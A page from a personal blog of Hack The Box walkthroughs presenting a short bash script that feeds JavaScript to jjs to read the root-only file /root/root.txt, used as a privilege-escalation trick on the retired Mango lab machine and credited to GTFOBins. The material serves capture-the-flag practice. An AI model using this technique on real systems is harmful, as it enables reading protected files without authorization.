Walkthroughs and other Guides
  • Grav3m1ndbyte's Blog
  • HTB Machine and Challenge Walkthroughs
  • HTB: Retired Boxes
    • Postman
    • Forest
    • Registry
    • Traverxec
    • Mango
    • OpenAdmin
    • Obscurity
    • Resolute
    • Monteverde
    • Sauna
    • OpenKeyS
    • Pit
    • Intelligence
    • Search
    • StreamIO
    • Object
    • Support
  • HTB: Retired Challenges
    • Lernaean
  • OSCP Study Material
    • 😁Learning SQL Injection in Oracle Databases
  • Useful Scripts and Others
    • Docker Blobs Dump
    • Script used in Lernaean
    • JJS File Read
    • Werkzeug Console Pin Exploit
  • About Me
  • Contact Me
Powered by GitBook
On this page

Was this helpful?

  1. Useful Scripts and Others

JJS File Read

Script used in the HTB Mango machine to read the root.txt flag file relying on JJS. JJS File Read approach and this script can be found in https://gtfobins.github.io/gtfobins/jjs/

#!/bin/bash

echo 'var BufferedReader = Java.type("java.io.BufferedReader")
var FileReader = Java.type("java.io.FileReader")
var br = new BufferedReader(new FileReader("/root/root.txt"))
while ((line = br.readLine()) != null) { print(line); }' | jjs

PreviousScript used in LernaeanNextWerkzeug Console Pin Exploit

Last updated 5 years ago

Was this helpful?